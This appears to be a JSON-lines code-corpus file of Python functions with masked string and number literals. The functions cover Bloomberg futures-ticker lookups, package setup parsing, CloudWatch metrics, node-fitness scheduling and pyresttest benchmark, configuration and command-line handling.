{"signature": "@with_bloomberg<EOL>def active_futures(ticker: str, dt) -> str:", "body": "t_info = ticker.split()<EOL>prefix, asset = '<STR_LIT:U+0020>'.join(t_info[:-<NUM_LIT:1>]), t_info[-<NUM_LIT:1>]<EOL>info = const.market_info(f'<STR_LIT>')<EOL>f1, f2 = f'<STR_LIT>', f'<STR_LIT>'<EOL>fut_2 = fut_ticker(gen_ticker=f2, dt=dt, freq=info['<STR_LIT>'])<EOL>fut_1 = fut_ticker(gen_ticker=f1, dt=dt, freq=info['<STR_LIT>'])<EOL>fut_tk = bdp(tickers=[fut_1, fut_2], flds='<STR_LIT>', cache=True)<EOL>if pd.Timestamp(dt).month < pd.Timestamp(fut_tk.last_tradeable_dt[<NUM_LIT:0>]).month: return fut_1<EOL>d1 = bdib(ticker=f1, dt=dt)<EOL>d2 = bdib(ticker=f2, dt=dt)<EOL>return fut_1 if d1[f1].volume.sum() > d2[f2].volume.sum() else fut_2<EOL>", "docstring": "Active futures contract\n\nArgs:\n    ticker: futures ticker, i.e., ESA Index, Z A Index, CLA Comdty, etc.\n    dt: date\n\nReturns:\n    str: ticker name", "id": "f174:m7"}
{"signature": "@with_bloomberg<EOL>def fut_ticker(gen_ticker: str, dt, freq: str, log=logs.LOG_LEVEL) -> str:", "body": "logger = logs.get_logger(fut_ticker, level=log)<EOL>dt = pd.Timestamp(dt)<EOL>t_info = gen_ticker.split()<EOL>asset = t_info[-<NUM_LIT:1>]<EOL>if asset in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>ticker = '<STR_LIT:U+0020>'.join(t_info[:-<NUM_LIT:1>])<EOL>prefix, idx, postfix = ticker[:-<NUM_LIT:1>], int(ticker[-<NUM_LIT:1>]) - <NUM_LIT:1>, asset<EOL><DEDENT>elif asset == '<STR_LIT>':<EOL><INDENT>ticker = t_info[<NUM_LIT:0>]<EOL>prefix, idx, postfix = ticker[:-<NUM_LIT:1>], int(ticker[-<NUM_LIT:1>]) - <NUM_LIT:1>, '<STR_LIT:U+0020>'.join(t_info[<NUM_LIT:1>:])<EOL><DEDENT>else:<EOL><INDENT>logger.error(f'<STR_LIT>')<EOL>return '<STR_LIT>'<EOL><DEDENT>month_ext = <NUM_LIT:4> if asset == '<STR_LIT>' else <NUM_LIT:2><EOL>months = pd.date_range(start=dt, periods=max(idx + month_ext, <NUM_LIT:3>), freq=freq)<EOL>logger.debug(f'<STR_LIT>')<EOL>def to_fut(month):<EOL><INDENT>return prefix + const.Futures[month.strftime('<STR_LIT>')] +month.strftime('<STR_LIT>')[-<NUM_LIT:1>] + '<STR_LIT:U+0020>' + postfix<EOL><DEDENT>fut = [to_fut(m) for m in months]<EOL>logger.debug(f'<STR_LIT>')<EOL>try:<EOL><INDENT>fut_matu = bdp(tickers=fut, flds='<STR_LIT>', cache=True)<EOL><DEDENT>except Exception as e1:<EOL><INDENT>logger.error(f'<STR_LIT>')<EOL>try:<EOL><INDENT>fut = fut[:-<NUM_LIT:1>]<EOL>logger.debug(f'<STR_LIT>')<EOL>fut_matu = bdp(tickers=fut, flds='<STR_LIT>', cache=True)<EOL><DEDENT>except Exception as e2:<EOL><INDENT>logger.error(f'<STR_LIT>')<EOL>return '<STR_LIT>'<EOL><DEDENT><DEDENT>sub_fut = fut_matu[pd.DatetimeIndex(fut_matu.last_tradeable_dt) > dt]<EOL>logger.debug(f'<STR_LIT>')<EOL>logger.debug(f'<STR_LIT>')<EOL>return sub_fut.index.values[idx]<EOL>", "docstring": "Get proper ticker from generic ticker\n\nArgs:\n    gen_ticker: generic ticker\n    dt: date\n    freq: futures contract frequency\n    log: level of logs\n\nReturns:\n    str: exact futures ticker", "id": "f174:m8"}
{"signature": "@with_bloomberg<EOL>def check_hours(tickers, tz_exch, tz_loc=DEFAULT_TZ) -> pd.DataFrame:", "body": "cols = ['<STR_LIT>', '<STR_LIT>']<EOL>con, _ = create_connection()<EOL>hours = con.ref(tickers=tickers, flds=cols)<EOL>cur_dt = pd.Timestamp('<STR_LIT>').strftime('<STR_LIT>')<EOL>hours.loc[:, '<STR_LIT>'] = hours.value.astype(str).str[:-<NUM_LIT:3>]<EOL>hours.loc[:, '<STR_LIT>'] = pd.DatetimeIndex(<EOL>cur_dt + hours.value.astype(str)<EOL>).tz_localize(tz_loc).tz_convert(tz_exch).strftime('<STR_LIT>')<EOL>hours = pd.concat([<EOL>hours.set_index(['<STR_LIT>', '<STR_LIT>']).exch.unstack().loc[:, cols],<EOL>hours.set_index(['<STR_LIT>', '<STR_LIT>']).local.unstack().loc[:, cols],<EOL>], axis=<NUM_LIT:1>)<EOL>hours.columns = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>return hours<EOL>", "docstring": "Check exchange hours vs local hours\n\nArgs:\n    tickers: list of tickers\n    tz_exch: exchange timezone\n    tz_loc: local timezone\n\nReturns:\n    Local and exchange hours", "id": "f174:m9"}
{"signature": "def parse_version(package):", "body": "init_file = f'<STR_LIT>'<EOL>with open(init_file, '<STR_LIT:r>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>for line in f.readlines():<EOL><INDENT>if '<STR_LIT>' in line:<EOL><INDENT>return line.split('<STR_LIT:=>')[<NUM_LIT:1>].strip()[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Parse versions", "id": "f175:m0"}
{"signature": "def parse_markdown():", "body": "readme_file = f'<STR_LIT>'<EOL>if path.exists(readme_file):<EOL><INDENT>with open(readme_file, '<STR_LIT:r>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>long_description = f.read()<EOL><DEDENT>return long_description<EOL><DEDENT>", "docstring": "Parse markdown as description", "id": "f175:m1"}
{"signature": "def parse_description(markdown=True):", "body": "if markdown: return parse_markdown()<EOL>try:<EOL><INDENT>from pypandoc import convert<EOL>readme_file = f'<STR_LIT>'<EOL>if not path.exists(readme_file):<EOL><INDENT>raise ImportError<EOL><DEDENT>return convert(readme_file, '<STR_LIT>')<EOL><DEDENT>except ImportError:<EOL><INDENT>return parse_markdown()<EOL><DEDENT>", "docstring": "Parse the description in the README file", "id": "f175:m2"}
{"signature": "def put(self, metrics):", "body": "if type(metrics) == list:<EOL><INDENT>for metric in metrics:<EOL><INDENT>self.c.put_metric_data(**metric)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.c.put_metric_data(**metrics)<EOL><DEDENT>", "docstring": "Put metrics to cloudwatch. Metric shoult be instance or list of\ninstances of CloudWatchMetric", "id": "f177:c0:m1"}
{"signature": "async def fitness(self) -> float:", "body": "return <NUM_LIT:1.0><EOL>", "docstring": "Returns a number that indicates, on an arbitrary scale, how capable the executing node\n        is of satisfying this resource. A larger value indicates more capability, while a falsy\n        value indicates the resource is unavailable or unusable. Truthy values returned here will\n        only be compared against other truthy values returned by resources of the same type.", "id": "f182:c1:m3"}
{"signature": "def import_submodules(package, recursive=True):", "body": "if isinstance(package, str):<EOL><INDENT>package = importlib.import_module(package)<EOL><DEDENT>results = {}<EOL>for loader, name, is_pkg in pkgutil.walk_packages(package.__path__):<EOL><INDENT>full_name = package.__name__ + '<STR_LIT:.>' + name<EOL>results[full_name] = importlib.import_module(full_name)<EOL>if recursive and is_pkg:<EOL><INDENT>results.update(import_submodules(full_name))<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Import all submodules of a module, recursively, including subpackages\n\n    :param package: package (name or actual module)\n    :type package: str | module\n    :rtype: dict[str, types.ModuleType]", "id": "f183:m1"}
{"signature": "def block_resource_fitnesses(self, block: block.Block):", "body": "<EOL>if not block.resources:<EOL><INDENT>return {n: <NUM_LIT:1> for n in self.config.nodes.keys()}<EOL><DEDENT>node_fitnesses = {}<EOL>for resource in block.resources:<EOL><INDENT>resource_fitnesses = self.resource_fitnesses(resource)<EOL>if not resource_fitnesses:<EOL><INDENT>raise UnassignableBlock(block.name)<EOL><DEDENT>max_fit = max(resource_fitnesses.values())<EOL>min_fit = min(resource_fitnesses.values())<EOL>for node, fitness in resource_fitnesses.items():<EOL><INDENT>if node not in node_fitnesses:<EOL><INDENT>node_fitnesses[node] = {}<EOL><DEDENT>if not fitness:<EOL><INDENT>node_fitnesses[node][resource.describe()] = False<EOL><DEDENT>else:<EOL><INDENT>if max_fit - min_fit:<EOL><INDENT>node_fitnesses[node][resource.describe()] = (fitness - min_fit) / (max_fit - min_fit)<EOL><DEDENT>else:<EOL><INDENT>node_fitnesses[node][resource.describe()] = <NUM_LIT:1.0><EOL><DEDENT><DEDENT><DEDENT><DEDENT>res = {}<EOL>for node, res_fits in node_fitnesses.items():<EOL><INDENT>fit_sum = <NUM_LIT:0><EOL>for res_desc, fit in res_fits.items():<EOL><INDENT>if fit is False:<EOL><INDENT>fit_sum = False<EOL>break<EOL><DEDENT>fit_sum += fit<EOL><DEDENT>if fit_sum is False:<EOL><INDENT>res[node] = False<EOL>continue<EOL><DEDENT>res[node] = fit_sum<EOL><DEDENT>return res<EOL>", "docstring": "Returns a map of nodename to average fitness value for this block.\n        Assumes that required resources have been checked on all nodes.", "id": "f207:c4:m12"}
{"signature": "def parse_generator_doubling(config):", "body": "start = <NUM_LIT:1><EOL>if '<STR_LIT:start>' in config:<EOL><INDENT>start = int(config['<STR_LIT:start>'])<EOL><DEDENT>def generator():<EOL><INDENT>val = start<EOL>while(True):<EOL><INDENT>yield val<EOL>val = val * <NUM_LIT:2><EOL><DEDENT><DEDENT>return generator()<EOL>", "docstring": "Returns generators that double with each value returned\n        Config includes optional start value", "id": "f213:m0"}
{"signature": "@staticmethod<EOL><INDENT>def parse(config):<DEDENT>", "body": "if not isinstance(config, basestring):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>validator = ContainsValidator()<EOL>validator.contains_string = config<EOL>return validator<EOL>", "docstring": "Parse a contains validator, which takes as the config a simple string to find", "id": "f213:c0:m1"}
{"signature": "def bind_variable(self, variable_name, variable_value):", "body": "str_name = str(variable_name)<EOL>prev = self.variables.get(str_name)<EOL>if prev != variable_value:<EOL><INDENT>self.variables[str(variable_name)] = variable_value<EOL>self.mod_count = self.mod_count + <NUM_LIT:1><EOL><DEDENT>", "docstring": "Bind a named variable to a value within the context\n            This allows for passing in variables in testing", "id": "f215:c0:m0"}
{"signature": "def add_generator(self, generator_name, generator):", "body": "if not isinstance(generator, types.GeneratorType):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(generator_name))<EOL><DEDENT>self.generators[str(generator_name)] = generator<EOL>", "docstring": "Adds a generator to the context, this can be used to set values for a variable\n            Once created, you can set values with the generator via bind_generator_next", "id": "f215:c0:m2"}
{"signature": "def bind_generator_next(self, variable_name, generator_name):", "body": "str_gen_name = str(generator_name)<EOL>str_name = str(variable_name)<EOL>val = next(self.generators[str_gen_name])<EOL>prev = self.variables.get(str_name)<EOL>if prev != val:<EOL><INDENT>self.variables[str_name] = val<EOL>self.mod_count = self.mod_count + <NUM_LIT:1><EOL><DEDENT>return val<EOL>", "docstring": "Binds the next value for generator_name to variable_name and return value used", "id": "f215:c0:m3"}
{"signature": "def get_value(self, variable_name):", "body": "return self.variables.get(str(variable_name))<EOL>", "docstring": "Get bound variable value, or return none if not set", "id": "f215:c0:m5"}
{"signature": "def setUp(self):", "body": "config_args = ('<STR_LIT>', os.path.join(<EOL>djangopath, '<STR_LIT>'))<EOL>proc = Process(target=call_command, args=config_args)<EOL>proc.start()<EOL>self.server_process = proc<EOL>time.sleep(<NUM_LIT:1>)<EOL>", "docstring": "Start a mini Django-tastypie REST webapp with test data for testing REST tests", "id": "f219:c0:m0"}
{"signature": "def tearDown(self):", "body": "self.server_process.terminate()<EOL>self.server_process = None<EOL>", "docstring": "Stop the server process", "id": "f219:c0:m1"}
{"signature": "def median(array):", "body": "mysorted = [x for x in array]<EOL>mysorted.sort()<EOL>middle = int(len(mysorted) / <NUM_LIT:2>)  <EOL>if len(mysorted) % <NUM_LIT:2> == <NUM_LIT:0>:  <EOL><INDENT>return float((mysorted[middle] + mysorted[middle - <NUM_LIT:1>])) / <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>return mysorted[middle]<EOL><DEDENT>", "docstring": "Get the median of an array", "id": "f223:m0"}
{"signature": "def std_deviation(array):", "body": "if not array or len(array) == <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>average = AGGREGATES['<STR_LIT>'](array)<EOL>variance = map(lambda x: (x - average)**<NUM_LIT:2>, array)<EOL>try:<EOL><INDENT>len(variance)<EOL><DEDENT>except TypeError:  <EOL><INDENT>variance = list(variance)<EOL><DEDENT>stdev = AGGREGATES['<STR_LIT>'](variance)<EOL>return math.sqrt(stdev)<EOL>", "docstring": "Compute the standard deviation of an array of numbers", "id": "f223:m1"}
{"signature": "def realize_partial(self, context=None):", "body": "if not self.is_dynamic():<EOL><INDENT>return self<EOL><DEDENT>if self.is_context_modifier():<EOL><INDENT>return self<EOL><DEDENT>else:<EOL><INDENT>copyout = copy.cop<EOL><DEDENT>pass<EOL>", "docstring": "Attempt to template out what is possible for this benchmark", "id": "f223:m2"}
{"signature": "def parse_benchmark(base_url, node):", "body": "node = lowercase_keys(flatten_dictionaries(node))  <EOL>benchmark = Benchmark()<EOL>benchmark = Test.parse_test(base_url, node, benchmark)<EOL>for key, value in node.items():<EOL><INDENT>if key == u'<STR_LIT>':<EOL><INDENT>benchmark.warmup_runs = int(value)<EOL><DEDENT>elif key == u'<STR_LIT>':<EOL><INDENT>benchmark.benchmark_runs = int(value)<EOL><DEDENT>elif key == u'<STR_LIT>':<EOL><INDENT>format = value.lower()<EOL>if format in OUTPUT_FORMATS:<EOL><INDENT>benchmark.output_format = format<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' + format)<EOL><DEDENT><DEDENT>elif key == u'<STR_LIT>':<EOL><INDENT>if not isinstance(value, basestring):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>benchmark.output_file = value<EOL><DEDENT>elif key == u'<STR_LIT>':<EOL><INDENT>if isinstance(value, basestring):<EOL><INDENT>benchmark.add_metric(tests.coerce_to_string(value))<EOL><DEDENT>elif isinstance(value, list) or isinstance(value, set):<EOL><INDENT>for metric in value:<EOL><INDENT>if isinstance(metric, dict):<EOL><INDENT>for metricname, aggregate in metric.items():<EOL><INDENT>if not isinstance(metricname, basestring):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(aggregate, basestring):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>benchmark.add_metric(tests.coerce_to_string(metricname),<EOL>tests.coerce_to_string(aggregate))<EOL><DEDENT><DEDENT>elif isinstance(metric, basestring):<EOL><INDENT>benchmark.add_metric(tests.coerce_to_string(metric))<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(value, dict):<EOL><INDENT>for metricname, aggregate in value.items():<EOL><INDENT>if not isinstance(metricname, basestring):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(aggregate, basestring):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>benchmark.add_metric(tests.coerce_to_string(metricname),<EOL>tests.coerce_to_string(aggregate))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\" + str(value))<EOL><DEDENT><DEDENT><DEDENT>return benchmark<EOL>", "docstring": "Try building a benchmark configuration from deserialized configuration root node", "id": "f223:m4"}
{"signature": "def ninja_copy(self):", "body": "output = Benchmark()<EOL>myvars = vars(self)<EOL>output.__dict__ = myvars.copy()<EOL>return output<EOL>", "docstring": "Optimization: limited, fast copy of benchmark, overrides Test parent method", "id": "f223:c0:m0"}
{"signature": "def add_metric(self, metric_name, aggregate=None):", "body": "clean_metric = metric_name.lower().strip()<EOL>if clean_metric.lower() not in METRICS:<EOL><INDENT>raise Exception(\"<STR_LIT>\" + metric_name +<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.metrics.add(clean_metric)<EOL>if not aggregate:<EOL><INDENT>self.raw_metrics.add(clean_metric)<EOL><DEDENT>elif aggregate.lower().strip() in AGGREGATES:<EOL><INDENT>clean_aggregate = aggregate.lower().strip()<EOL>current_aggregates = self.aggregated_metrics.get(<EOL>clean_metric, list())<EOL>current_aggregates.append(clean_aggregate)<EOL>self.aggregated_metrics[clean_metric] = current_aggregates<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" + aggregate +<EOL>\"<STR_LIT>\")<EOL><DEDENT>return self<EOL>", "docstring": "Add a metric-aggregate pair to the benchmark, where metric is a number to measure from curl, and aggregate is an aggregation function\n            (See METRICS and AGGREGATES)\n            If aggregate is not defined (False,empty, or None), then the raw number is reported\n            Returns self, for fluent-syle construction of config", "id": "f223:c0:m1"}
{"signature": "def parse_headers(header_string):", "body": "<EOL>if not header_string:<EOL><INDENT>return list()<EOL><DEDENT>request, headers = header_string.split('<STR_LIT:\\r\\n>', <NUM_LIT:1>)<EOL>if not headers:<EOL><INDENT>return list()<EOL><DEDENT>if sys.version_info < (<NUM_LIT:2>,<NUM_LIT:7>):<EOL><INDENT>header_msg = message_from_string(headers.encode(HEADER_ENCODING))<EOL>return [(text_type(k.lower(), HEADER_ENCODING), text_type(v, HEADER_ENCODING))<EOL>for k, v in header_msg.items()]<EOL><DEDENT>else:<EOL><INDENT>header_msg = message_from_string(headers)<EOL>return [(k.lower(), v) for k, v in header_msg.items()]<EOL><DEDENT>", "docstring": "Parse a header-string into individual headers\n        Implementation based on: http://stackoverflow.com/a/5955949/95122\n        Note that headers are a list of (key, value) since duplicate headers are allowed\n\n        NEW NOTE: keys & values are unicode strings, but can only contain ISO-8859-1 characters", "id": "f231:m1"}
{"signature": "def parse_configuration(node, base_config=None):", "body": "test_config = base_config<EOL>if not test_config:<EOL><INDENT>test_config = TestConfig()<EOL><DEDENT>node = lowercase_keys(flatten_dictionaries(node))  <EOL>for key, value in node.items():<EOL><INDENT>if key == u'<STR_LIT>':<EOL><INDENT>test_config.timeout = int(value)<EOL><DEDENT>elif key == u'<STR_LIT>':<EOL><INDENT>test_config.print_bodies = safe_to_bool(value)<EOL><DEDENT>elif key == u'<STR_LIT>':<EOL><INDENT>test_config.retries = int(value)<EOL><DEDENT>elif key == u'<STR_LIT>':<EOL><INDENT>if not test_config.variable_binds:<EOL><INDENT>test_config.variable_binds = dict()<EOL><DEDENT>test_config.variable_binds.update(flatten_dictionaries(value))<EOL><DEDENT>elif key == u'<STR_LIT>':<EOL><INDENT>flat = flatten_dictionaries(value)<EOL>gen_map = dict()<EOL>for generator_name, generator_config in flat.items():<EOL><INDENT>gen = parse_generator(generator_config)<EOL>gen_map[str(generator_name)] = gen<EOL><DEDENT>test_config.generators = gen_map<EOL><DEDENT><DEDENT>return test_config<EOL>", "docstring": "Parse input config to configuration information", "id": "f231:m3"}
{"signature": "def read_file(path):", "body": "with open(path, \"<STR_LIT:r>\") as f:<EOL><INDENT>string = f.read()<EOL>f.close()<EOL><DEDENT>return string<EOL>", "docstring": "Read an input into a file, doing necessary conversions around relative path handling", "id": "f231:m4"}
{"signature": "def analyze_benchmark_results(benchmark_result, benchmark):", "body": "output = BenchmarkResult()<EOL>output.name = benchmark_result.name<EOL>output.group = benchmark_result.group<EOL>output.failures = benchmark_result.failures<EOL>raw_results = benchmark_result.results<EOL>temp = dict()<EOL>for metric in benchmark.raw_metrics:<EOL><INDENT>temp[metric] = raw_results[metric]<EOL><DEDENT>output.results = temp<EOL>aggregate_results = list()<EOL>for metricname, aggregate_list in benchmark.aggregated_metrics.items():<EOL><INDENT>numbers = raw_results[metricname]<EOL>for aggregate_name in aggregate_list:<EOL><INDENT>if numbers:  <EOL><INDENT>aggregate_function = AGGREGATES[aggregate_name]<EOL>aggregate_results.append(<EOL>(metricname, aggregate_name, aggregate_function(numbers)))<EOL><DEDENT>else:<EOL><INDENT>aggregate_results.append((metricname, aggregate_name, None))<EOL><DEDENT><DEDENT><DEDENT>output.aggregates = aggregate_results<EOL>return output<EOL>", "docstring": "Take a benchmark result containing raw benchmark results, and do aggregation by\n    applying functions\n\n    Aggregates come out in format of metricname, aggregate_name, result", "id": "f231:m7"}
{"signature": "def metrics_to_tuples(raw_metrics):", "body": "if not isinstance(raw_metrics, dict):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>metrics = sorted(raw_metrics.keys())<EOL>arrays = [raw_metrics[metric] for metric in metrics]<EOL>num_rows = len(arrays[<NUM_LIT:0>])  <EOL>output = list()<EOL>output.append(tuple(metrics))  <EOL>for row in xrange(<NUM_LIT:0>, num_rows):<EOL><INDENT>new_row = tuple([arrays[col][row] for col in xrange(<NUM_LIT:0>, len(arrays))])<EOL>output.append(new_row)<EOL><DEDENT>return output<EOL>", "docstring": "Converts metric dictionary of name:values_array into list of tuples\n        Use case: writing out benchmark to CSV, etc\n\n        Input:\n        {'metric':[value1,value2...], 'metric2':[value1,value2,...]...}\n\n        Output: list, with tuple header row, then list of tuples of values\n        [('metric','metric',...), (metric1_value1,metric2_value1, ...) ... ]", "id": "f231:m8"}
{"signature": "def register_extensions(modules):", "body": "if isinstance(modules, basestring):  <EOL><INDENT>modules = [modules]<EOL><DEDENT>for ext in modules:<EOL><INDENT>segments = ext.split('<STR_LIT:.>')<EOL>module = segments.pop()<EOL>package = '<STR_LIT:.>'.join(segments)<EOL>module = __import__(ext, globals(), locals(), package)<EOL>extension_applies = {<EOL>'<STR_LIT>': validators.register_validator,<EOL>'<STR_LIT>': validators.register_comparator,<EOL>'<STR_LIT>': validators.register_test,<EOL>'<STR_LIT>': validators.register_extractor,<EOL>'<STR_LIT>': generators.register_generator<EOL>}<EOL>has_registry = False<EOL>for registry_name, register_function in extension_applies.items():<EOL><INDENT>if hasattr(module, registry_name):<EOL><INDENT>registry = getattr(module, registry_name)<EOL>for key, val in registry.items():<EOL><INDENT>register_function(key, val)<EOL><DEDENT>if registry:<EOL><INDENT>has_registry = True<EOL><DEDENT><DEDENT><DEDENT>if not has_registry:<EOL><INDENT>raise ImportError(<EOL>\"<STR_LIT>\".format(ext))<EOL><DEDENT><DEDENT>", "docstring": "Import the modules and register their respective extensions", "id": "f231:m13"}
{"signature": "def main(args):", "body": "if '<STR_LIT>' in args and args['<STR_LIT>'] is not None:<EOL><INDENT>logger.setLevel(LOGGING_LEVELS.get(<EOL>args['<STR_LIT>'].lower(), logging.NOTSET))<EOL><DEDENT>if '<STR_LIT>' in args and args['<STR_LIT>']:<EOL><INDENT>extensions = args['<STR_LIT>'].split('<STR_LIT:;>')<EOL>working_folder = args['<STR_LIT>']<EOL>if working_folder not in sys.path:<EOL><INDENT>sys.path.insert(<NUM_LIT:0>, working_folder)<EOL><DEDENT>register_extensions(extensions)<EOL><DEDENT>test_file = args['<STR_LIT:test>']<EOL>test_structure = read_test_file(test_file)<EOL>my_vars = None<EOL>if '<STR_LIT>' in args and args['<STR_LIT>'] is not None:<EOL><INDENT>my_vars = yaml.safe_load(args['<STR_LIT>'])<EOL><DEDENT>if my_vars and not isinstance(my_vars, dict):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>base_url = args['<STR_LIT:url>']<EOL>if '<STR_LIT>' in args and args['<STR_LIT>']:<EOL><INDENT>base_url = '<STR_LIT>'<EOL><DEDENT>tests = parse_testsets(base_url, test_structure,<EOL>working_directory=os.path.dirname(test_file), vars=my_vars)<EOL>for t in tests:<EOL><INDENT>if '<STR_LIT>' in args and args['<STR_LIT>'] is not None and bool(args['<STR_LIT>']):<EOL><INDENT>t.config.print_bodies = safe_to_bool(args['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in args and args['<STR_LIT>'] is not None and bool(args['<STR_LIT>']):<EOL><INDENT>t.config.print_headers = safe_to_bool(args['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in args and args['<STR_LIT>'] is not None:<EOL><INDENT>t.config.interactive = safe_to_bool(args['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in args and args['<STR_LIT>'] is not None:<EOL><INDENT>t.config.verbose = safe_to_bool(args['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in args and args['<STR_LIT>'] is not None:<EOL><INDENT>t.config.ssl_insecure = safe_to_bool(args['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in args and args['<STR_LIT>'] is not None:<EOL><INDENT>t.config.skip_term_colors = safe_to_bool(args['<STR_LIT>'])<EOL><DEDENT><DEDENT>failures = run_testsets(tests)<EOL>sys.exit(failures)<EOL>", "docstring": "Execute a test against the given base url.\n\nKeys allowed for args:\n    url           - REQUIRED - Base URL\n    test          - REQUIRED - Test file (yaml)\n    print_bodies  - OPTIONAL - print response body\n    print_headers  - OPTIONAL - print response headers\n    log           - OPTIONAL - set logging level {debug,info,warning,error,critical} (default=warning)\n    interactive   - OPTIONAL - mode that prints info before and after test exectuion and pauses for user input for each test\n    absolute_urls - OPTIONAL - mode that treats URLs in tests as absolute/full URLs instead of relative URLs\n    skip_term_colors - OPTIONAL - mode that turn off the output term colors", "id": "f231:m14"}
{"signature": "def parse_command_line_args(args_in):", "body": "parser = OptionParser(<EOL>usage=\"<STR_LIT>\")<EOL>parser.add_option(u\"<STR_LIT>\", help=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\", dest=\"<STR_LIT>\")<EOL>parser.add_option(u\"<STR_LIT>\", help=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\", dest=\"<STR_LIT>\")<EOL>parser.add_option(u\"<STR_LIT>\", help=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\")<EOL>parser.add_option(u\"<STR_LIT>\", help=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\")<EOL>parser.add_option(<EOL>u\"<STR_LIT>\", help=\"<STR_LIT>\", action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\")<EOL>parser.add_option(u\"<STR_LIT>\", help=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\")<EOL>parser.add_option(u'<STR_LIT>',<EOL>help='<STR_LIT>', action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\")<EOL>parser.add_option(<EOL>u'<STR_LIT>', help='<STR_LIT>', action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\")<EOL>parser.add_option(u'<STR_LIT>', help='<STR_LIT>',<EOL>action='<STR_LIT:store_true>', default=False, dest=\"<STR_LIT>\")<EOL>parser.add_option(u'<STR_LIT>', help='<STR_LIT>',<EOL>action='<STR_LIT:store_true>', default=False, dest=\"<STR_LIT>\")<EOL>parser.add_option(u'<STR_LIT>', help='<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\", dest=\"<STR_LIT>\")<EOL>parser.add_option(u'<STR_LIT>', help='<STR_LIT>',<EOL>action='<STR_LIT:store_true>', default=False, dest=\"<STR_LIT>\")<EOL>(args, unparsed_args) = parser.parse_args(args_in)<EOL>args = vars(args)<EOL>if not args['<STR_LIT:url>'] or not args['<STR_LIT:test>']:<EOL><INDENT>if len(unparsed_args) == <NUM_LIT:2>:<EOL><INDENT>args[u'<STR_LIT:url>'] = unparsed_args[<NUM_LIT:0>]<EOL>args[u'<STR_LIT:test>'] = unparsed_args[<NUM_LIT:1>]<EOL><DEDENT>elif len(unparsed_args) == <NUM_LIT:1> and args['<STR_LIT:url>']:<EOL><INDENT>args['<STR_LIT:test>'] = unparsed_args[<NUM_LIT:0>]<EOL><DEDENT>elif len(unparsed_args) == <NUM_LIT:1> and args['<STR_LIT:test>']:<EOL><INDENT>args['<STR_LIT:url>'] = unparsed_args[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>parser.print_help()<EOL>parser.error(<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>args['<STR_LIT>'] = os.path.realpath(os.path.abspath(os.getcwd()))<EOL>return args<EOL>", "docstring": "Runs everything needed to execute from the command line, so main method is callable without arg parsing", "id": "f231:m15"}
{"signature": "def safe_length(var):", "body": "output = -<NUM_LIT:1><EOL>try:<EOL><INDENT>output = len(var)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>return output<EOL>", "docstring": "Exception-safe length check, returns -1 if no length on type or error", "id": "f232:m1"}
{"signature": "def _get_extractor(config_dict):", "body": "extractor = None<EOL>extract_config = None<EOL>for key, value in config_dict.items():<EOL><INDENT>if key in EXTRACTORS:<EOL><INDENT>return parse_extractor(key, value)<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>raise Exception(<EOL>'<STR_LIT>'.format(config_dict))<EOL><DEDENT>", "docstring": "Utility function, get an extract function for a single valid extractor name in config\n        and error if more than one or none", "id": "f232:m3"}
